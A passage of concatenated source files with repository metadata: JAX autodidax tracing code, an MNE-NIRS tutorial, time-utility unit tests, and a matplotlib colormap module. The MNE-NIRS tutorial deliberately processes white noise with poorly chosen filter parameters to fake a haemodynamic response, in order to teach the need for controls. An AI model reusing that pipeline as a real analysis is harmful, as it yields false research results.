Dict[int, JaxprTracer]\n  constvals: Dict[Var, Any]\n\n  def __init__(self):\n    self.eqns = []\n    self.tracer_to_var = {}\n    self.const_tracers = {}\n    self.constvals = {}\n\n  def add_eqn(self, eqn: JaxprEqn) -> None:\n    self.eqns.append(eqn)\n\n  def add_var(self, tracer: JaxprTracer) -> Var:\n    var = self.tracer_to_var.get(id(tracer))\n    assert var is None\n    var = self.tracer_to_var[id(tracer)] = Var(tracer.aval)\n    return var\n\n  def getvar(self, tracer: JaxprTracer) -> Var:\n    var = self.tracer_to_var.get(id(tracer))\n    assert var is not None\n    return var\n\n  def add_const(self, tracer: JaxprTracer, val: Any) -> Var:\n    var = self.add_var(tracer)\n    self.const_tracers[id(val)] = tracer\n    self.constvals[var] = val\n    return var\n\n  def build(self, in_tracers: List[JaxprTracer], out_tracer: JaxprTracer\n            ) -> Tuple[Jaxpr, List[Any]]:\n    constvars, constvals = unzip2(self.constvals.items())\n    t2v = lambda t: self.tracer_to_var[id(t)]\n    in_binders = constvars + [t2v(t) for t in in_tracers]\n    jaxpr = Jaxpr(in_binders, self.eqns, t2v(out_tracer))\n    typecheck_jaxpr(jaxpr)\n    return jaxpr, constvals\n\n\n# The rules we need for `JaxprTrace.process_primitive` are essentially typing\n# rules for primitive applications: given   the primitive, its parameters, and\n# types for the inputs, the rule must produce a type for the output, which is\n# then   packaged with the output `JaxprTracer`. We can use abstract evaluation\n# rules for this same purpose, even though they  can be more general (since\n# abstract evaluation rules need to work on ConcreteArray inputs as well). We'll\n# reuse these abstract evaluation rules for the other jaxpr-producing trace\n# machinery, where the potential extra generality is useful.\n\ndef broadcast_shapes(*shapes):\n  assert len(shapes) > 1\n  for sizes in zip(*shapes):\n    sizes = [d for d in sizes if d != 1]\n    if sizes[:-1] != sizes[1:]:\n      raise Exception\n  return tuple(next((d for d in sizes if d != 1), 1) for sizes in zip(*shapes))\n\n\n# +\ndef broadcasting_binop_abstract_eval_rule(*avals_in):\n  out_dtype = np.result_type(*map(np.result_type, avals_in))\n  out_shape = broadcast_shapes(*map(np.shape, avals_in))\n  return ShapedArray(out_shape, out_dtype)\n\nabstract_eval_rules[add_p] = broadcasting_binop_abstract_eval_rule\nabstract_eval_rules[mul_p] = broadcasting_binop_abstract_eval_rule\n\ndef vectorized_unop_abstract_eval_rule(aval_in):\n  return ShapedArray(np.shape(aval_in), np.result_type(aval_in))\n\nabstract_eval_rules[sin_p] = vectorized_unop_abstract_eval_rule\nabstract_eval_rules[cos_p] = vectorized_unop_abstract_eval_rule\nabstract_eval_rules[neg_p] = vectorized_unop_abstract_eval_rule\n\ndef reduce_sum_abstract_eval_rule(aval_in, *, axis):\n  new_shape = [d for i, d in enumerate(aval_in.shape) if i != axis]\n  return ShapedArray(tuple(new_shape), aval_in.dtype)\nabstract_eval_rules[reduce_sum_p] = reduce_sum_abstract_eval_rule\n\n\n# -\n\n# To check our implementation, we can add a `make_jaxpr` transformation and\n# first pretty-printer:\n\ndef make_jaxpr(f, avals_in):\n  builder = JaxprBuilder()\n  with new_main(JaxprTrace, builder) as main:\n    trace = JaxprTrace(main)\n    tracers_in = [trace.new_arg(aval) for aval in avals_in]\n    out = f(*tracers_in)\n    tracer_out = full_raise(trace, out)\n    return builder.build(tracers_in, tracer_out)\n\n# +\nfrom collections import defaultdict\nimport itertools as it\nimport string\n\nclass PPrint:\n  lines: List[Tuple[int, str]]\n\n  def __init__(self, lines):\n    self.lines = lines\n\n  def indent(self, indent: int) -> 'PPrint':\n    return PPrint([(indent + orig_indent, s) for orig_indent, s in self.lines])\n\n  def __add__(self, rhs: 'PPrint') -> 'PPrint':\n    return PPrint(self.lines + rhs.lines)\n\n  def __rshift__(self, rhs: 'PPrint') -> 'PPrint':\n    if not rhs.lines: return self\n    if not self.lines: return rhs\n    indent, s = self.lines[-1]\n    indented_block = rhs.indent(indent + len(s))\n    common_line = s + ' ' * rhs.lines[0][0] + rhs.lines[0][1]\n    return PPrint(self.lines[:-1]\n                  + [(indent, common_line)]\n                  + indented_block.lines[1:])\n\n  def __str__(self) -> str:\n    return '\\n'.join(' ' * indent + s for indent, s in self.lines)\n\ndef pp(s: Any) -> PPrint:\n  return PPrint([(0, line) for line in str(s).splitlines()])\n\ndef vcat(ps: List[PPrint]) -> PPrint:\n  return sum(ps, pp(''))\n\ndef pp_jaxpr(jaxpr: Jaxpr):\n  namegen = (''.join(s) for r in it.count(1)\n             for s in it.permutations(string.ascii_lowercase, r))\n  names = defaultdict(lambda: next(namegen))\n  in_binders = ', '.join(var_str(names, x) for x in jaxpr.in_binders)\n  eqns = vcat([pp_eqn(names, e) for e in jaxpr.eqns])\n  out = names[jaxpr.out] if isinstance(jaxpr.out, Var) else str(jaxpr.out.val)\n  return (pp(f'{{ lambda {in_binders} .') +\n          ((pp('let ') >> eqns) + pp(f'in {out} }}')).indent(2))\n\ndef var_str(names: Dict[Var, str], v: Var) -> str:\n  return f'{names[v]}:{v.aval.str_short()}'\n\ndef pp_eqn(names: Dict[Var, str], eqn: JaxprEqn) -> PPrint:\n  lhs = pp(var_str(names, eqn.out_binder))\n  rhs = (pp(eqn.primitive.name) >> pp_params(eqn.params) >>\n         pp(' '.join(names[x] if isinstance(x, Var) else str(x.val)\n                     for x in eqn.inputs)))\n  return lhs >> pp(' = ') >> rhs\n\ndef pp_params(params: Dict[str, Any]) -> PPrint:\n  items = sorted(params.items())\n  if items:\n    return pp(' [ ') >> vcat([pp(f'{k}={v}') for k, v in items]) >> pp(' ] ')\n  else:\n    return pp(' ')\n\n\n# -\n\njaxpr, consts = make_jaxpr(lambda x: 2. * x, [raise_to_shaped(get_aval(3.))])\nprint(pp_jaxpr(jaxpr))\nprint(typecheck_jaxpr(jaxpr))\n", "meta": {"hexsha": "678db30c92f41d6196ea9304a7d5c0a42c48b6af", "size": 32812, "ext": "py", "lang": "Python", "max_stars_repo_path": "docs/autodidax.py", "max_stars_repo_name": "mtsokol/jax", "max_stars_repo_head_hexsha": "2fc2ff409a5fc3712d42b3cd4c3bb86dff28948a", "max_stars_repo_licenses": ["ECL-2.0", "Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "docs/autodidax.py", "max_issues_repo_name": "mtsokol/jax", "max_issues_repo_head_hexsha": "2fc2ff409a5fc3712d42b3cd4c3bb86dff28948a", "max_issues_repo_licenses": ["ECL-2.0", "Apache-2.0"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2020-04-06T19:20:14.000Z", "max_issues_repo_issues_event_max_datetime": "2020-04-06T19:20:14.000Z", "max_forks_repo_path": "docs/autodidax.py", "max_forks_repo_name": "jotsif/jax", "max_forks_repo_head_hexsha": "9bffe1ad05ea7e6657a35d3032cd04877296381a", "max_forks_repo_licenses": ["ECL-2.0", "Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2020-06-02T00:46:47.000Z", "max_forks_repo_forks_event_max_datetime": "2020-06-02T00:46:47.000Z", "avg_line_length": 31.3390639924, "max_line_length": 84, "alphanum_fraction": 0.7101365354, "include": true, "reason": "import numpy", "num_tokens": 9157, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4687906266262437, "lm_q2_score": 0.136608397056381, "lm_q1q2_score": 0.06404073605846755}}
{"text": "\"\"\"\n.. _tut-fnirs-processing-bad:\n\nImportance of Controls and Parameter Selection\n==============================================\n\n.. warning:: DO NOT USE THIS SCRIPT TO PROCESS YOUR DATA\n\n.. sidebar:: Relevant literature\n\n   Huppert TJ. Commentary on the statistical properties of noise and its\n   implication on general linear models in functional near-infrared\n   spectroscopy. Neurophotonics. 2016;3(1)\n\nThis tutorial demonstrates how **NOT** to process your\nfunctional near-infrared spectroscopy (fNIRS)\ndata.\nHere I demonstrate that with a simple process pipelines even random noise\ncan look like a canonical haemodynamic response.\n\nThis tutorial was written to motivate further interest in to what affect\nsignal processing has on our data. And to provide a concrete example\nabout why you should understand your analysis and not vary parameters to meet\npreconceived ideas of what your data should look like.\nI recommend specifying analysis parameters in advance along with your experimental\nprotocol. Hopefully this tutorial also highlights the importance of\nincluding a control condition in your experimental design.\n\nThe\n:ref:`MNE fNIRS waveform tutorial <mne:tut-fnirs-processing>`\nis used as a basis for this analysis, so most of the document looks similar.\nHowever, at the midpoint we replace the real data with noise and demonstrate\nthat without careful attention to the analysis parameter it would still\nappear as if a fNIRS response is observed.\n\n\n.. contents:: Page contents\n   :local:\n   :depth: 2\n\n\"\"\"\n# sphinx_gallery_thumbnail_number = 7\n\n\n# Authors: Robert Luke <mail@robertluke.net>\n#\n# License: BSD (3-clause)\n\nimport os\nimport numpy as np\n\nimport mne\nimport mne_nirs\nnp.random.seed(1)\n\nfnirs_data_folder = mne.datasets.fnirs_motor.data_path()\nfnirs_cw_amplitude_dir = os.path.join(fnirs_data_folder, 'Participant-1')\nraw_intensity = mne.io.read_raw_nirx(fnirs_cw_amplitude_dir, verbose=True)\nraw_intensity.load_data()\n\n\n# %%\n# Selecting channels appropriate for detecting neural responses\n# -------------------------------------------------------------\n#\n# First we remove channels that are too close together (short channels) to\n# detect a neural response (less than 1 cm distance between optodes).\n# These short channels can be seen in the figure above.\n# To achieve this we pick all the channels that are not considered to be short.\n\npicks = mne.pick_types(raw_intensity.info, meg=False, fnirs=True)\ndists = mne.preprocessing.nirs.source_detector_distances(\n    raw_intensity.info, picks=picks)\nraw_intensity.pick(picks[dists > 0.01])\nraw_intensity.plot(n_channels=len(raw_intensity.ch_names),\n                   duration=500, show_scrollbars=False)\n\n\n# %%\n# Converting from raw intensity to optical density\n# ------------------------------------------------\n#\n# The raw intensity values are then converted to optical density.\n\nraw_od = mne.preprocessing.nirs.optical_density(raw_intensity)\nraw_od.plot(n_channels=len(raw_od.ch_names),\n            duration=500, show_scrollbars=False)\n\n\n# %%\n# Converting from optical density to haemoglobin\n# ----------------------------------------------\n#\n# Next we convert the optical density data to haemoglobin concentration using\n# the modified Beer-Lambert law.\n\nraw_haemo = mne.preprocessing.nirs.beer_lambert_law(raw_od)\nraw_haemo.plot(n_channels=len(raw_haemo.ch_names),\n               duration=500, show_scrollbars=False)\n\n\n\n# %%\n# !!!!!!Replace real data with white noise!!!!!\n# ----------------------------------------------\n#\n# Here we replace the signals with white noise.\n# We make the HbR white noise 3 time smaller than HbO as is commonly observed.\n\n\nraw_haemo._data = np.random.randn(40, 23239) / 1.0e6 * 1\nraw_haemo._data[::2, :]= np.random.randn(20, 23239) / 1.0e6 * 3\n\n\n# %%\n# Removing heart rate from signal (BAD DONT COPY)\n# -----------------------------------------------\n#\n# This analysis is BAD and is provided just as a demonstration.\n# Do not do this!!\n#\n\nfig = raw_haemo.plot_psd(average=True)\nfig.suptitle('Before filtering', weight='bold', size='x-large')\nfig.subplots_adjust(top=0.88)\nraw_haemo = raw_haemo.filter(0.05, 0.1, h_trans_bandwidth=0.2,\n                             l_trans_bandwidth=0.02)\nfig = raw_haemo.plot_psd(average=True)\nfig.suptitle('After filtering', weight='bold', size='x-large')\nfig.subplots_adjust(top=0.88)\n\n\n# %%\n# Apply Cui negative correlation method\n# -------------------------------------\n#\n# Here we apply the Cui signal enhancement technique.\n\nraw_haemo = mne_nirs.signal_enhancement.enhance_negative_correlation(raw_haemo)\n\n\n# %%\n# Extract epochs\n# --------------\n#\n# Now that the signal has been converted to relative haemoglobin concentration,\n# and the unwanted heart rate component has been removed, we can extract epochs\n# related to each of the experimental conditions.\n#\n# First we extract the events of interest and visualise them to ensure they are\n# correct.\n\nevents, _ = mne.events_from_annotations(raw_haemo, event_id={'1.0': 1,\n                                                             '2.0': 2,\n                                                             '3.0': 3})\nevent_dict = {'Control': 1, 'Tapping/Left': 2, 'Tapping/Right': 3}\nfig = mne.viz.plot_events(events, event_id=event_dict,\n                          sfreq=raw_haemo.info['sfreq'])\nfig.subplots_adjust(right=0.7)  # make room for the legend\n\n\n# %%\n# Next we define the range of our epochs, the rejection criteria,\n# baseline correction, and extract the epochs. We visualise the log of which\n# epochs were dropped.\n\nreject_criteria = dict(hbo=10e-6)\ntmin, tmax = -1.5, 10.5\n\nepochs = mne.Epochs(raw_haemo, events, event_id=event_dict,\n                    tmin=tmin, tmax=tmax,\n                    reject=reject_criteria, reject_by_annotation=True,\n                    proj=True, baseline=(None, 0), preload=True,\n                    detrend=1, verbose=True)\n\n\n# %%\n# Plot standard fNIRS response image\n# ----------------------------------\n#\n# Next we generate the most common visualisation of fNIRS data: plotting\n# both the HbO and HbR on the same figure to illustrate the relation between\n# the two signals.\n\nevoked_dict = {'Tapping/HbO': epochs['Tapping'].average(picks='hbo'),\n               'Tapping/HbR': epochs['Tapping'].average(picks='hbr')}\n\n# Rename channels until the encoding of frequency in ch_name is fixed\nfor condition in evoked_dict:\n    evoked_dict[condition].rename_channels(lambda x: x[:-4])\n\ncolor_dict = dict(HbO='#AA3377', HbR='b')\n\nmne.viz.plot_compare_evokeds(evoked_dict, combine=\"mean\", ci=0.95,\n                             colors=color_dict)\n\n\n# %%\n# Summary\n# --------------\n#\n# Above is a waveform that has many of the characteristics that are expected\n# from a haeomodynamic response.\n# We see a baseline that is around zero, the oxyhaemoglobin is positive\n# and the deoxyhaemoglobin is negative,\n# the peak occurs around 5 seconds then returns to\n# baseline.\n# However, it was generated from random noise!\n#\n# .. sidebar:: PLEASE READ THIS PAPER!!\n#\n#    Huppert TJ. Commentary on the statistical properties of noise and its\n#    implication on general linear models in functional near-infrared\n#    spectroscopy. Neurophotonics. 2016;3(1)\n#\n# As this is an introduction tutorial I do not go in to details about the\n# signal process theory behind why the settings above are wrong.\n# But if you are interested you should start with a DSP textbook\n# on signals and systems.\n#\n# There are many signal processing parameter choices that interact to produce\n# your end result. It is important to have a control condition to ensure\n# that you aren't forcing your data to have these fake responses.\n# Its also important to understand the effect that each parameter choice\n# has on your output. Using a receiver operating characteristic is a good\n# approach to understand your analysis.\n# This also highlights some of the concerns with the time domain analysis\n# approach, and the benefits of the GLM style of analysis\n# :ref:`(see MNE-NIRS fNIRS GLM tutorial) <tut-fnirs-hrf>` (and Huppert 2016).\n#\n# .. warning:: DO NOT USE THIS SCRIPT TO PROCESS YOUR DATA\n", "meta": {"hexsha": "0bdcd0b81990d59567508101d8144f18885e1e8f", "size": 8090, "ext": "py", "lang": "Python", "max_stars_repo_path": "examples/general/plot_99_bad.py", "max_stars_repo_name": "drammock/mne-nirs", "max_stars_repo_head_hexsha": "2deb73184b4609d0a72495e65565f430bbff0704", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "examples/general/plot_99_bad.py", "max_issues_repo_name": "drammock/mne-nirs", "max_issues_repo_head_hexsha": "2deb73184b4609d0a72495e65565f430bbff0704", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "examples/general/plot_99_bad.py", "max_forks_repo_name": "drammock/mne-nirs", "max_forks_repo_head_hexsha": "2deb73184b4609d0a72495e65565f430bbff0704", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.8706896552, "max_line_length": 82, "alphanum_fraction": 0.69592089, "include": true, "reason": "import numpy", "num_tokens": 1901, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4687906266262437, "lm_q2_score": 0.136608388268679, "lm_q1q2_score": 0.06404073193887523}}
{"text": "import unittest\r\nimport pandas as pd\r\nimport numpy as np\r\nimport numpy.testing as np_test\r\nimport pandas.util.testing as pd_test\r\nfrom src.preprocess import times\r\nfrom datetime import datetime\r\n\r\n\r\nclass UtilTest(unittest.TestCase):\r\n\r\n    # round hours to a given interval\r\n    def test_round_hour(self):\r\n        dt = pd.to_datetime('2017-01-01 23:30:00', utc=True)\r\n        # round to 3 hours\r\n        rounded = times.round_hour(dt, 3)\r\n        self.assertEqual('21:00:00', rounded.strftime('%H:%M:%S'))\r\n        # round to 6 hours\r\n        rounded = times.round_hour(dt, 6)\r\n        self.assertEqual('18:00:00', rounded.strftime('%H:%M:%S'))\r\n        # round to 12 hours\r\n        rounded = times.round_hour(dt, 12)\r\n        self.assertEqual('12:00:00', rounded.strftime('%H:%M:%S'))\r\n        # round to 24 hours\r\n        rounded = times.round_hour(dt, 24)\r\n        self.assertEqual('00:00:00', rounded.strftime('%H:%M:%S'))\r\n\r\n    # test time sampling for different time modes\r\n    @staticmethod\r\n    def test_aggregate_time():\r\n        # sample all hours\r\n        df = pd.DataFrame(data={\r\n            'time': ['2017-01-01 18:20:00', '2017-01-01 18:40:00', '2017-02-07 23:00:01'],\r\n            'value': [1, 2, 3]\r\n        })\r\n        sample = times.group(ts=df, mode='h')\r\n        expected = pd.DataFrame(data={'time': ['2017-01-01 18:00:00', '2017-02-07 23:00:00'],\r\n                                      'value': [1.5, 3]})\r\n        pd_test.assert_frame_equal(sample, expected)\r\n        # sample all 3 hours\r\n        # 23:00 is expected to become 21:00\r\n        sample = times.group(ts=df, mode='3h')\r\n        expected = pd.DataFrame(data={'time': ['2017-01-01 18:00:00', '2017-02-07 21:00:00'],\r\n                                      'value': [1.5, 3]})\r\n        pd_test.assert_frame_equal(sample, expected)\r\n        # sample a specific month = 2\r\n        df = pd.DataFrame(data={\r\n            'time': ['2016-02-01', '2017-01-01', '2017-02-07', '2017-02-07'],\r\n            'value': [2, 1, 2, 3]})\r\n        sample = times.group(ts=df, mode='m', value=2)\r\n        expected = pd.DataFrame(data={'time': ['2016-02', '2017-02'], 'value': [2, 2.5]})\r\n        pd_test.assert_frame_equal(sample, expected)\r\n        # sample a specific day of week, 2017-01-01 is sunday (0)\r\n        df = pd.DataFrame(data={\r\n            'time': ['2017-01-01 12:00', '2017-01-01 14:00', '2017-01-06 10:00'], 'value': [1, 2, 3]})\r\n        sample = times.group(ts=df, mode='dw', value=0)\r\n        expected = pd.DataFrame(data={'time': ['2017-00-0'], 'value': [1.5]})\r\n        pd_test.assert_frame_equal(sample, expected)\r\n\r\n    @staticmethod\r\n    def test_filter_by_time():\r\n        df = pd.DataFrame(data={'time': ['2019-01-01', '2020-01-01']})\r\n        df['time'] = pd.to_datetime(df['time'])\r\n        selected = times.select(df, 'time', from_time='2019-01-01', to_time='2019-01-30')\r\n        expected = pd.DataFrame(data={'time': [pd.datetime(2019, 1, 1)]})\r\n        pd_test.assert_frame_equal(selected, expected)\r\n        excluded = times.exclude(df, 'time', from_time='2019-01-01', to_time='2019-01-30')\r\n        expected = pd.DataFrame(data={'time': [pd.datetime(2020, 1, 1)]})\r\n        pd_test.assert_frame_equal(excluded, expected)\r\n\r\n    def test_group_at(self):\r\n        # test grouping values backward or forward from a given value and given hours unit\r\n        yr = '2018-01-01 '\r\n        time = pd.to_datetime([yr + ' 12', yr + ' 15', yr + '16', yr + '17'], utc=True).tolist()\r\n        value = [2, 2, 3, 4]\r\n        # expected groups: 12:00, 15:00\r\n        forward_average = times.group_at(time, value, index=2, direction=1, group_hours=3)\r\n        self.assertEqual(first=3.5, second=forward_average)\r\n        backward_average = times.group_at(time, value, index=2, direction=-1, group_hours=3)\r\n        self.assertEqual(first=2.5, second=backward_average)\r\n        single_average = times.group_at(time, value, index=0, direction=-1, group_hours=3)\r\n        self.assertEqual(first=2, second=single_average)\r\n\r\n\r\n    @staticmethod\r\n    def test_group_from():\r\n        # test grouping values backward or forward from a given value and given hours unit\r\n        yr = '2018-01-01 '\r\n        time = pd.to_datetime([yr + ' 12', yr + ' 15', yr + '16', yr + '17', yr + '18'], utc=True).tolist()\r\n        value = [2, 2, 3, 4, 5]\r\n        # expected to group (2, 2, 3) into 9:00, 12:00 and 15:00\r\n        # where 9:00 is expected to be the repetition of 12:00\r\n        grouped_back = times.group_from(time, value, index=2, step=-3, group_hours=3)\r\n        np_test.assert_array_equal(grouped_back, [2, 2, 2.5])\r\n        # expected to group (3, 4) forward into 15:00, and (5) into 18:00\r\n        grouped_forward = times.group_from(time, value, index=2, step=2, group_hours=3)\r\n        np_test.assert_array_equal(grouped_forward, [3.5, 5])\r\n        # redo the test including the group boundaries\r\n        # group boundary of 16:00 is 17:00 for backward grouping\r\n        boundary_grouped_back = times.group_from(time, value, index=2, step=-3, group_hours=3,\r\n                                                 whole_group=True)\r\n        np_test.assert_array_equal(boundary_grouped_back, [2, 2, 3])\r\n        # group boundary of 16:00 is [15:00, 17:00) for forward grouping\r\n        boundary_grouped_back = times.group_from(time, value, index=2, step=3, group_hours=3,\r\n                                                 whole_group=True)\r\n        np_test.assert_array_equal(boundary_grouped_back, [3, 5, 5])\r\n\r\n\r\n    @staticmethod\r\n    def test_running_average():\r\n        # test averaging values backward or forward from a given value and given hours unit\r\n        yr = '2018-01-01 '\r\n        time = pd.to_datetime([yr + ' 12', yr + ' 13', yr + ' 15', yr + '16', yr + '17'], utc=True).tolist()\r\n        value = [2, np.nan, 3, 4, 5]\r\n        # expected to forward-average values into 12:00 and 15:00 (unit: 3 hours)\r\n        forward_averaged = times.running_average(time=time, value=value, group_hours=3)\r\n        np_test.assert_array_equal(x=[2, 2, 3, 3.5, 4], y=forward_averaged)\r\n        # expected to backward-average\r\n        backward_averaged = times.running_average(time=time, value=value, group_hours=3, direction=-1)\r\n        np_test.assert_array_equal(x=[2, 0, 4, 4.5, 5], y=backward_averaged)\r\n        # put whole group average for each member\r\n        whole_averaged = times.running_average(time=time, value=value, group_hours=3, whole_group=True)\r\n        np_test.assert_array_equal(x=[2, 2, 4, 4, 4], y=whole_averaged)\r\n\r\n    def test_group_average(self):\r\n        yr = '2018-01-01 '\r\n        time = pd.to_datetime([yr + ' 13', yr + '14', yr + ' 15', yr + '16', yr + '17', yr + '18'], utc=True).tolist()\r\n        value = [2, 3, 4, np.nan, 5, 6]\r\n        expected_group_time = pd.to_datetime([yr + ' 12', yr + '15', yr + ' 18'], utc=True).tolist()\r\n        group_time, group_average, lookup, count = times.group_average(time=time, value=value, group_hours=3)\r\n        # time groups: 12:00, 15:00, and 18:00\r\n        np_test.assert_array_equal(x=expected_group_time, y=group_time)\r\n        np_test.assert_array_equal(x=[2.5, 4.5, 6], y=group_average)\r\n        np_test.assert_array_equal(x=[2, 2, 1], y=count)\r\n        self.assertEqual(0, lookup[expected_group_time[0]])\r\n        self.assertEqual(1, lookup[expected_group_time[1]])\r\n        self.assertEqual(2, lookup[expected_group_time[2]])\r\n\r\n    @staticmethod\r\n    def test_split():\r\n        yr = '2018-01-01 '\r\n        time = pd.to_datetime([yr + ' 13', yr + '14', yr + ' 15', yr + '16', yr + '18'], utc=True).tolist()\r\n        value = [2, 3, 4, 5, 6]\r\n        # time groups: 12:00, 15:00, and 18:00\r\n        # averaging from group start until given index\r\n        split = times.split(time=time, value=value, group_hours=3, step=-3, region=(0, -1))\r\n        expected = [[2, 2, 2], [2.5, 2.5, 2.5], [2.5, 2.5, 4], [2.5, 2.5, 4.5], [2.5, 4.5, 6]]\r\n        np_test.assert_array_equal(x=expected, y=split)\r\n\r\n        # time groups: 12:00, 15:00, and 18:00\r\n        # averaging from group start until given index\r\n        split = times.split(time=time, value=value, group_hours=3, step=3, region=(0, -1))\r\n        expected = [[2.5, 4.5, 6], [3, 4.5, 6], [4.5, 6, 6], [5, 6, 6], [6, 6, 6]]\r\n        np_test.assert_array_equal(x=expected, y=split)\r\n\r\n        # first index skipped\r\n        # total group average is considered for each member regardless of index\r\n        split = times.split(time=time, value=value, group_hours=3, step=3, region=(1, -1), whole_group=True)\r\n        expected = [[2.5, 4.5, 6], [4.5, 6, 6], [4.5, 6, 6], [6, 6, 6]]\r\n        np_test.assert_array_equal(x=expected, y=split)\r\n\r\n        split = times.split(time=time, value=value, group_hours=3, step=-3, region=(4, 4), whole_group=True)\r\n        expected = [[2.5, 4.5, 6]]\r\n        np_test.assert_array_equal(x=expected, y=split)\r\n\r\n    @staticmethod\r\n    def test_one_hot():\r\n        columns = ['01', '02', '03', '04']\r\n        s = pd.to_datetime(pd.Series(data=[1, 2, 4]), utc=True, format='%H')\r\n        one_hot = times.one_hot(times=s, columns=columns, time_format='%H')\r\n        np_test.assert_array_equal(x=[[1, 0, 0, 0], [0, 1, 0, 0], [0, 0, 0, 1]], y=one_hot)\r\n\r\n    def test_to_datetime(self):\r\n        d_time = datetime.utcnow()\r\n        d = d_time.date()\r\n        expected = datetime.strptime(d_time.strftime('%y-%m-%d'), '%y-%m-%d')\r\n        self.assertEqual(times.to_datetime(date=d), expected)\r\n", "meta": {"hexsha": "42e255343ab1688bbfe0c3bf82fb725523964f04", "size": 9421, "ext": "py", "lang": "Python", "max_stars_repo_path": "test/times_test.py", "max_stars_repo_name": "clownjiahui/kdd2018_air_pollution_prediction", "max_stars_repo_head_hexsha": "c76c3ee87132a923cf499d9be17d49b2c9b6eac1", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 19, "max_stars_repo_stars_event_min_datetime": "2019-03-31T09:06:49.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-29T12:25:29.000Z", "max_issues_repo_path": "test/times_test.py", "max_issues_repo_name": "clownjiahui/kdd2018_air_pollution_prediction", "max_issues_repo_head_hexsha": "c76c3ee87132a923cf499d9be17d49b2c9b6eac1", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "test/times_test.py", "max_forks_repo_name": "clownjiahui/kdd2018_air_pollution_prediction", "max_forks_repo_head_hexsha": "c76c3ee87132a923cf499d9be17d49b2c9b6eac1", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 11, "max_forks_repo_forks_event_min_datetime": "2019-04-02T07:59:45.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-18T08:32:28.000Z", "avg_line_length": 52.9269662921, "max_line_length": 119, "alphanum_fraction": 0.5882602696, "include": true, "reason": "import numpy", "num_tokens": 2821, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.42632159254749036, "lm_q2_score": 0.1500288224422264, "lm_q1q2_score": 0.06396052651159462}}
{"text": "\n\"\"\"\nModule colormap for creating custom color maps.  For example...\n  >>> from pyclaw.plotting import colormaps\n  >>> mycmap = colormaps.make_colormap({0:'r', 1.:'b'})  # red to blue\n  >>> colormaps.showcolors(mycmap)   # displays resulting colormap\n\nNote that many colormaps are also defined in matplotlib and can be set by\n  >>> from matplotlib import cm\n  >>> mycmap = cm.get_cmap('Greens')\nfor example, to get colors ranging from white to green.\nSee matplotlib._cm for the data defining various maps.\n\"\"\"\n\n\n#-------------------------\ndef make_colormap(colors):\n#-------------------------\n    \"\"\"\n    Define a new color map based on values specified in the dictionary\n    colors, where colors[z] is the color that value z should be mapped to,\n    with linear interpolation between the given values of z.\n\n    The z values (dictionary keys) are real numbers and the values\n    colors[z] can be either an RGB list, e.g. [1,0,0] for red, or an\n    html hex string, e.g. \"#ff0000\" for red.\n    \"\"\"\n\n    from matplotlib.colors import LinearSegmentedColormap, ColorConverter\n    from numpy import sort\n    \n    z = sort(colors.keys())\n    n = len(z)\n    z1 = min(z)\n    zn = max(z)\n    x0 = (z - z1) / (zn - z1)\n    \n    CC = ColorConverter()\n    R = []\n    G = []\n    B = []\n    for i in range(n):\n        #i'th color at level z[i]:\n        Ci = colors[z[i]]      \n        if type(Ci) == str:\n            # a hex string of form '#ff0000' for example (for red)\n            RGB = CC.to_rgb(Ci)\n        else:\n            # assume it's an RGB triple already:\n            RGB = Ci\n        R.append(RGB[0])\n        G.append(RGB[1])\n        B.append(RGB[2])\n\n    cmap_dict = {}\n    cmap_dict['red'] = [(x0[i],R[i],R[i]) for i in range(len(R))]\n    cmap_dict['green'] = [(x0[i],G[i],G[i]) for i in range(len(G))]\n    cmap_dict['blue'] = [(x0[i],B[i],B[i]) for i in range(len(B))]\n    mymap = LinearSegmentedColormap('mymap',cmap_dict)\n    return mymap\n\ndef showcolors(cmap):\n    from pylab import colorbar, clf, axes, linspace, pcolor, \\\n         meshgrid, show, axis, title\n    #from scitools.easyviz.matplotlib_ import colorbar, clf, axes, linspace,\\\n                 #pcolor, meshgrid, show, colormap\n    clf()\n    x = linspace(0,1,21)\n    X,Y = meshgrid(x,x)\n    pcolor(X,Y,0.5*(X+Y), cmap=cmap, edgecolors='k')\n    axis('equal')\n    colorbar()\n    title('Plot of x+y using colormap')\n\n\ndef schlieren_colormap(color=[0,0,0]):\n    \"\"\"\n    For Schlieren plots:\n    \"\"\"\n    from numpy import linspace, array\n    if color=='k': color = [0,0,0]\n    if color=='r': color = [1,0,0]\n    if color=='b': color = [0,0,1]\n    if color=='g': color = [0,0.5,0]\n    color = array([1,1,1]) - array(color)\n    s  = linspace(0,1,20)\n    colors = {}\n    for key in s:\n        colors[key] = array([1,1,1]) - key**10 * color\n    schlieren_colors = make_colormap(colors)\n    return schlieren_colors\n\n\n# -----------------------------------------------------------------\n# Some useful colormaps follow...\n# There are also many colormaps in matplotlib.cm\n\nall_white = make_colormap({0.:'w', 1.:'w'})\nall_light_red = make_colormap({0.:'#ffdddd', 1.:'#ffdddd'})\nall_light_blue = make_colormap({0.:'#ddddff', 1.:'#ddddff'})\nall_light_green = make_colormap({0.:'#ddffdd', 1.:'#ddffdd'})\nall_light_yellow = make_colormap({0.:'#ffffdd', 1.:'#ffffdd'})\n\nred_white_blue = make_colormap({0.:'r', 0.5:'w', 1.:'b'})\nblue_white_red = 